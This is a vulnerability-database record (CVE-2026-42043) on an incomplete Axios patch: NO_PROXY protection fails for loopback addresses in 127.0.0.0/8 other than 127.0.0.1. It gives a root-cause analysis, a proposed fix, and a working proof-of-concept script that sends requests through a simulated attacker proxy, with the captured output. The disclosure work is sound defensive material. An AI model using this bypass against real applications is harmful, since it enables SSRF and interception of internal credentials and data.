{"id":"CVE-2026-42043","aliases":["GHSA-pmwg-cvhr-8vh7"],"url":"https://o3.security/vulnerability/CVE-2026-42043","summary":"Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY  Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8)  in Axios 1.15.0","details":"**1. Executive Summary**\nThis report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library.\n\n**Background — The Original Vulnerability**\nThe original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy — even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services.\n\nThe Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.\n\n**The Incomplete Patch — This Finding**\nWhile the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**.\n\nThe patch introduced a hardcoded set of recognized loopback addresses:\n\n```\n// lib/helpers/shouldBypassProxy.js — Line 1\nconst LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\n```\nHowever, **RFC 1122 §3.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine.\n\nAs a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release.\n\n**Verification**\nThis bypass has been **independently verified** on:\n\n* **Axios version:** 1.15.0 (latest patched release)\n* **Node.js version:** v22.16.0\n* **OS:** Kali Linux (rolling)\n\nThe Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space.\n\n**2. Deep-Dive: Technical Root Cause Analysis**\n**2.1 Vulnerable File & Location**\n\n| Field | Detail |\n| ------------- | ------------- |\n| File | lib/helpers/shouldBypassProxy.js| \n| Primary Flaw| isLoopback() — Line 1–3 |\n| Supporting Function | shouldBypassProxy() — Line 59–110 |\n| Axios Version | 1.15.0 (Latest Patched Release) |\n\n**2.2 How Axios Routes HTTP Requests  The Call Chain**\nWhen Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy:\n\n```\n// lib/adapters/http.js — Lines 191–199\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  if (!proxy && proxy !== false) {\n    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var\n    if (proxyUrl) {\n      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY\n        proxy = new URL(proxyUrl);               // Step 3: Assign proxy\n      }\n    }\n  }\n}\n```\n`shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.\n\n**2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)**\nBefore Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization:\n\n```\nRequest URL → http://localhost./secret\nNO_PROXY    → \"localhost,127.0.0.1,::1\"\nComparison:\n  \"localhost.\" === \"localhost\"   →  FALSE  →  Proxy used  ← BYPASS\n  \"[::1]\"     === \"::1\"         →  FALSE  →  Proxy used  ← BYPASS\n```\nBoth `localhost.` (FQDN trailing dot, RFC 1034 §3.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 §3.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts.\n\n\n**2.4 What the Patch Fixed (Axios 1.15.0)**\nThe patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`:\n\n<img width=\"602\" height=\"123\" alt=\"01_axios_version_verification\" src=\"https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5\" />\n\n**Fix A `normalizeNoProxyHost()` (Lines 47–57)**\nStrips alternate representations before comparison:\n\n```\nconst normalizeNoProxyHost = (hostname) => {\n  if (!hostname) return hostname;\n  // Remove IPv6 brackets: \"[::1]\" → \"::1\"\n  if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {\n    hostname = hostname.slice(1, -1);\n  }\n  // Strip trailing FQDN dot: \"localhost.\" → \"localhost\"\n  return hostname.replace(/\\.+$/, '');\n};\n```\n**Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)**\nAllows `127.0.0.1` and `localhost` to match each other interchangeably:\n\n```\nconst LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\nconst isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);\n// Line 108 — Final match condition:\nreturn hostname === entryHost\n    || (isLoopback(hostname) && isLoopback(entryHost));\n//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n//      If both sides are \"loopback\" → treat as match\n```\n\n**Fix C Normalization Applied on Both Sides (Lines 81 & 90)**\n\n```\n// Request hostname normalized:\nconst hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());\n// Each NO_PROXY entry normalized:\nentryHost = normalizeNoProxyHost(entryHost);\n```\n\n**2.5 The Incomplete Patch Exact Root Cause**\nThe fundamental flaw resides in Line 1:\n\n```\n// lib/helpers/shouldBypassProxy.js — Line 1  ← ROOT CAUSE\nconst LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\n//                                              ^^^^^^^^^^^\n//                              Only ONE IPv4 loopback address is recognized.\n//                              The entire 127.0.0.0/8 subnet is unaccounted for.\n// Line 3 — Lookup against this incomplete set:\nconst isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);\n//                                               ^^^^^^^^^\n//                          Returns FALSE for any 127.x.x.x ≠ 127.0.0.1\n```\n<img width=\"884\" height=\"135\" alt=\"02_vulnerable_code_loopback_addresses\" src=\"https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e\" />\n\n***RFC 1122 §3.2.1.3 is unambiguous:**\n\n> \"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network.\"\n\nThis means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected.\n\n<img width=\"884\" height=\"537\" alt=\"03_rfc1122_loopback_definition\" src=\"https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0\" />\n\n**2.6 Step-by-Step Bypass Execution Trace**\nEnvironment:\n\n```\nNO_PROXY   = \"localhost,127.0.0.1,::1\"\nHTTP_PROXY = \"http://attacker-proxy:5300\"\nTarget URL = \"http://127.0.0.2:9191/internal-api\"\n```\n**Annotated execution of shouldBypassProxy(\"http://127.0.0.2:9191/internal-api\"):**\n\n```\n// Step 1 — Parse the request URL\nparsed   = new URL(\"http://127.0.0.2:9191/internal-api\")\nhostname = \"127.0.0.2\"    // parsed.hostname\n// Step 2 — Read NO_PROXY environment variable\nnoProxy  = \"localhost,127.0.0.1,::1\"   // lowercased\n// Step 3 — Normalize the request hostname\nhostname = normalizeNoProxyHost(\"127.0.0.2\")\n//          No brackets → skip\n//          No trailing dot → skip\n//          Result: \"127.0.0.2\"  (unchanged)\n// Step 4 — Iterate over NO_PROXY entries\n//  Entry → \"localhost\"\nentryHost = \"localhost\"\n\"127.0.0.2\" === \"localhost\"                  → false\nisLoopback(\"127.0.0.2\")                      → false  ← Set.has() returns false\n                                                          BYPASS starts here\n//  Entry → \"127.0.0.1\"\nentryHost = \"127.0.0.1\"\n\"127.0.0.2\" === \"127.0.0.1\"                 → false\nisLoopback(\"127.0.0.2\") && isLoopback(\"127.0.0.1\")\n  → LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     → false  ← Same failure\n  → false\n//  Entry → \"::1\"\nentryHost = \"::1\"\n\"127.0.0.2\" === \"::1\"                        → false\nisLoopback(\"127.0.0.2\") && isLoopback(\"::1\")\n  → LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     → false  ← Same failure\n  → false\n// Step 5 — Final return\nshouldBypassProxy() → false\n//  Axios proceeds to route the request through the configured proxy.\n//  The attacker's proxy server receives the full request including headers\n//  and any response from the internal service.\n```\n\n**2.7 Why the Patch Design Is Flawed**\nThe patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address).\n\n| Aspect | Original Bug | This Finding |\n| ------------- | ------------- | ------------- |\n| What was wrong | No normalization before comparison | Incomplete loopback address set|\n| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |\n| RFC compliance | Violated RFC 1034 & RFC 3986 | Violates RFC 1122 §3.2.1.3 |\n| Bypass method | Alternate string representation | Alternate valid loopback address |\n| Impact | NO_PROXY bypass → SSRF | NO_PROXY bypass → SSRF (identical) |\n\n```\n**2.8 Total Exposed Address Space**\nProtected by patch:    127.0.0.1          (1 address)\nUnprotected loopback:  127.0.0.2\n                       through\n                       127.255.255.254    (16,777,213 addresses)\n```\nReal-world services that commonly bind to non-standard loopback addresses include:\n\n* Internal microservices and admin dashboards using dedicated loopback IPs\n* Development environments with multiple isolated service instances\n* Docker and container bridge network configurations\n* Test infrastructure allocating sequential loopback IPs across services\n\n**3. Comprehensive Attack Vector & Proof of Concept**\n\n**3.1 Reproduction Steps**\n\nStep 1 — Create a fresh project directory\n```\nmkdir axios-bypass-test && cd axios-bypass-test\n```\n**Step 2 — Initialize the project with the patched Axios version**\nCreate `package.json`:\n\n```\n{\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"axios\": \"1.15.0\"\n  }\n}\n```\nInstall dependencies:\n\n```\nnpm install\n```\nVerify the installed version:\n\n```\nnpm list axios\n# Expected output: axios@1.15.0\n```\n\n**Step 3 — Create the PoC file (`poc.js`)**\n\n```\nimport http from 'http';\nimport axios from 'axios';\n// ── Simulated attacker-controlled proxy server ────────────────────────────────\nconst PROXY_PORT = 5300;\nhttp.createServer((req, res) => {\n  console.log('\\n[!] PROXY HIT — Attacker proxy received request!');\n  console.log(`    Method : ${req.method}`);\n  console.log(`    URL    : ${req.url}`);\n  console.log(`    Host   : ${req.headers.host}`);\n  res.writeHead(200);\n  res.end('proxied');\n}).listen(PROXY_PORT);\n// ── Simulated developer security configuration ────────────────────────────────\n// Developer believes all loopback traffic is protected by NO_PROXY.\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;\nprocess.env.NO_PROXY   = 'localhost,127.0.0.1,::1';\n// ── Test helper ───────────────────────────────────────────────────────────────\nasync function test(url) {\n  console.log(`\\n[*] Testing: ${url}`);\n  try {\n    const res = await axios.get(url, { timeout: 2000 });\n    if (res.data === 'proxied') {\n      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');\n    } else {\n      console.log('    Result → [DIRECT]   ← Safe, no proxy used');\n    }\n  } catch (err) {\n    if (err.code === 'ECONNREFUSED') {\n      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');\n    }\n  }\n}\n// ── Test execution ────────────────────────────────────────────────────────────\nsetTimeout(async () => {\n  // Section A: Cases fixed by the existing patch — expected to go DIRECT\n  console.log('\\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');\n  await test('http://localhost:9191/secret');\n  await test('http://localhost.:9191/secret');\n  await test('http://[::1]:9191/secret');\n  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy\n  console.log('\\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');\n  await test('http://127.0.0.2:9191/secret');\n  await test('http://127.0.0.100:9191/secret');\n  await test('http://127.1.2.3:9191/secret');\n  process.exit(0);\n}, 500);\n```\n\n**Step 4 — Execute the PoC**\n\n```\nnode poc.js\n```\n\n**3.2 Observed Output**\nThe following output was captured during testing on Kali Linux with Axios 1.15.0:\n\n```\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\n[*] Testing: http://localhost:9191/secret\n    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://localhost.:9191/secret\n    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://[::1]:9191/secret\n    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  \n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\n[*] Testing: http://127.0.0.2:9191/secret\n[!] PROXY HIT — Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.2:9191/secret\n    Host   : 127.0.0.2:9191\n    Result → [PROXIED]  ← BYPASS CONFIRMED                                 \n[*] Testing: http://127.0.0.100:9191/secret\n[!] PROXY HIT — Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.100:9191/secret\n    Host   : 127.0.0.100:9191\n    Result → [PROXIED]  ← BYPASS CONFIRMED                                 \n[*] Testing: http://127.1.2.3:9191/secret\n[!] PROXY HIT — Attacker proxy received request!\n    Method : GET\n    URL    : http://127.1.2.3:9191/secret\n    Host   : 127.1.2.3:9191\n    Result → [PROXIED]  ← BYPASS CONFIRMED                                 \n```\n<img width=\"1621\" height=\"739\" alt=\"05_poc_execution_bypass_confirmed\" src=\"https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7\" />\n\n**3.3 Analysis of Results**\nThe output conclusively demonstrates the following:\n\n**Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.\n\n**Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 §3.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.\n\nThis confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch.\n\n**4. Impact Assessment**\nThis vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.\n\n**4.1 Who Is Impacted?**\n\nPrimary Target — Node.js Backend Applications\nAny Node.js application that meets **all three of the following conditions** is vulnerable:\n\n```\nCondition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests\nCondition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment\n              (common in corporate networks, cloud deployments,\n               containerised environments, and CI/CD pipelines)\nCondition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)\n              to protect loopback or internal services from proxy routing\n```\n**Affected Deployment Environments**\n| Environment | Risk Level |\n| ------------- | ------------- |\n| Cloud-hosted applications (AWS, GCP, Azure) | Critical| \n| Containerised microservices (Docker, Kubernetes) | Critical| \n| Corporate networks with mandatory proxy | High| \n| CI/CD pipelines with proxy environment variables | High| \n| On-premise servers with internal proxy | High| \n\n**Scale of Exposure**\nAxios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.\n\n**4.3 Impact Details**\n\n**Impact 1 Silent Interception of Internal Service Traffic**\n\nWhen an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly.\n\n```\nDeveloper expects:    Application → 127.0.0.2:8080 (direct)\nActual behaviour:     Application → Attacker Proxy → 127.0.0.2:8080\nThe proxy receives:\n  - Full request URL\n  - HTTP method\n  - All request headers (including Authorization, Cookie, API keys)\n  - Request body (for POST/PUT requests)\n  - Full response from the internal service\n```\nThe developer receives no error or warning. From the application's perspective, the request succeeds normally.\n\n**Impact 2 — SSRF Mitigation Bypass**\nMany applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`.\n\n```\nSSRF Protection (as configured by developer):\n  NO_PROXY = localhost,127.0.0.1,::1\nWhat developer believes is protected:\n  All loopback/internal addresses\nWhat is actually protected:\n  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)\nWhat remains exposed:\n  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)\n```\nAn attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.\n\n**Impact 3 — Cloud Metadata Service Exposure**\nIn cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.\n\nWhile the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could:\n\n* Retrieve temporary IAM credentials\n* Access environment variables containing secrets\n* Enumerate internal service configurations\n* Pivot to other internal services via the compromised credentials\n\n**Impact 4 — Confidential Data Exfiltration**\nAny internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes:\n\n| Internal Service Type | Exposed Data |\n| ------------- | ------------- |\n| Admin panels / dashboards | User data, configuration, logs | \n| Internal APIs | Business logic, database contents | \n| Secret managers / vaults | API keys, tokens, certificates | \n| Health check endpoints | Infrastructure topology | \n| Development services | Source code, environment variables | \n\n**Impact 5 — No Indication of Compromise**\nA particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.\n\n**4.4 Comparison with Original Vulnerability**\n\n| Internal Service Type | Exposed Data | Exposed Data |\n| ------------- | ------------- | ------------- |\n| Attack method | Use localhost. or [::1]| Use any 127.x.x.x ≠ 127.0.0.1 | \n| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | \n| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | \n| Attacker effort| Trivial | Trivial | \n| Detection by developer | None | None | \n| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) | \n\nThe severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.\n\n**5. Technical Remediation & Proposed Fix**\n\n**5.1 Vulnerable Code Block**\n\nThe vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1–3. The following is the exact code extracted from Axios 1.15.0:\n\n```\n// lib/helpers/shouldBypassProxy.js — Axios 1.15.0\n// Lines 1–3 (VULNERABLE)\nconst LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\nconst isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);\n```\nThis hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation:\n\n```\n// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)\nreturn hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));\n//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n// isLoopback(\"127.0.0.2\") → LOOPBACK_ADDRESSES.has(\"127.0.0.2\") → FALSE\n// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1\n```\n**Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy.\n\n**5.2 Proposed Patched Code**\nReplace lines 1–3 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation:\n\n```\n// lib/helpers/shouldBypassProxy.js\n// Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant)\nconst isLoopback = (host) => {\n  // Named loopback hostname\n  if (host === 'localhost') return true;\n  // IPv6 loopback address\n  if (host === '::1') return true;\n  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3)\n  // Matches any address from 127.0.0.0 through 127.255.255.254\n  const parts = host.split('.');\n  return (\n    parts.length === 4 &&\n    parts[0] === '127' &&\n    parts.every((p) => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)\n  );\n};\n```\n**5.3 Diff View — Before vs After**\n\n```\n// lib/helpers/shouldBypassProxy.js\n- const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\n-\n- const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);\n+ const isLoopback = (host) => {\n+   if (host === 'localhost') return true;\n+   if (host === '::1') return true;\n+   const parts = host.split('.');\n+   return (\n+     parts.length === 4 &&\n+     parts[0] === '127' &&\n+     parts.every((p) => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)\n+   );\n+ };\n```\nAll other code in `shouldBypassProxy.js` remains unchanged. No other files require modification.\n\n**5.4 Why This Fix Must Be Applied**\n\n**Reason 1 — RFC 1122 Compliance**\n\nThe current implementation violates **RFC 1122 §3.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.\n\n```\nRFC 1122 §3.2.1.3:\n\"The address 127.0.0.0/8 is assigned for loopback.\n A datagram sent by a higher-level protocol to a loopback\n address MUST NOT appear on any network.\"\nCurrent fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)\nProposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)\n```\n\n**Reason 2 — The Existing Patch Has Already Failed Once**\n\nThe patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not.\n\n**Reason 3 — Real Operating System Behaviour**\nOn Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level.\n\n```\n# Linux routing table — default configuration\n$ ip route show table local | grep \"127\"\nlocal 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1\n# Proof: 127.0.0.2 is a valid loopback address on Linux\n$ ping -c 1 127.0.0.2\nPING 127.0.0.2: 56 data bytes\n64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms\n```\n\n<img width=\"711\" height=\"181\" alt=\"04_linux_loopback_subnet_proof\" src=\"https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2\" />\n\nAxios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.\n\n<img width=\"588\" height=\"198\" alt=\"06_ping_127 0 0 2_loopback_confirmed\" src=\"https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990\" />\n\n**Reason 4 — The Proposed Fix Has Zero Performance Impact**\nThe existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with:\n\n1. Two direct string comparisons (`'localhost'`, `'::1'`) — O(1)\n2. A `split('.')` and array validation — O(1) with a fixed-length array of 4 elements\nThe computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies.\n\n**Reason 5 — The Fix Is Minimal and Surgical**\nThe proposed change modifies only **3 lines** of a single file. It does not alter:\n\n* The `parseNoProxyEntry()` function\n* The `normalizeNoProxyHost()` function\n* The `shouldBypassProxy()` main function logic\n* Any other file in the codebase\n \nThis minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.\n\n**Reason 6 — Resilient to Alternative IP Encodings**\nBecause Axios normalises the request URL using Node's native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split('.')` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.\n\n**5.5 Additional Recommendation — IPv6 Loopback Range**\n\nWhile the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation:\n\n```\n// Additional IPv6 loopback representations to consider:\n'0:0:0:0:0:0:0:1'      // Full notation of ::1\n'::ffff:127.0.0.1'     // IPv4-mapped IPv6 loopback\n'::ffff:7f00:1'        // Hex IPv4-mapped IPv6 loopback\n```\nNormalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.","published":"2026-04-24T17:54:42.668Z","modified":"2026-09-12T03:30:33.754695661Z","cvss":{"score":7.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"},"epss":{"score":0.00661,"percentile":0.48525,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"axios","fixedVersion":"1.15.1"},{"ecosystem":"npm","name":"axios","fixedVersion":"0.31.1"}],"fix":null,"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42043.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:14937"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16476"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16532"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16534"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16535"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16542"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16874"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17468"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17474"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17657"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17699"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:19109"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:19375"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:20889"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:20938"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:21017"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:21338"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:21772"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:22465"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:22619"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:22629"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:22840"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:23361"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24536"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24539"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24853"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:25041"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:25089"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:25271"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:25273"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:26214"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:26225"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:26232"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:33574"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:36882"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:48670"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-42043"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42043.json"},{"type":"ADVISORY","url":"https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42043"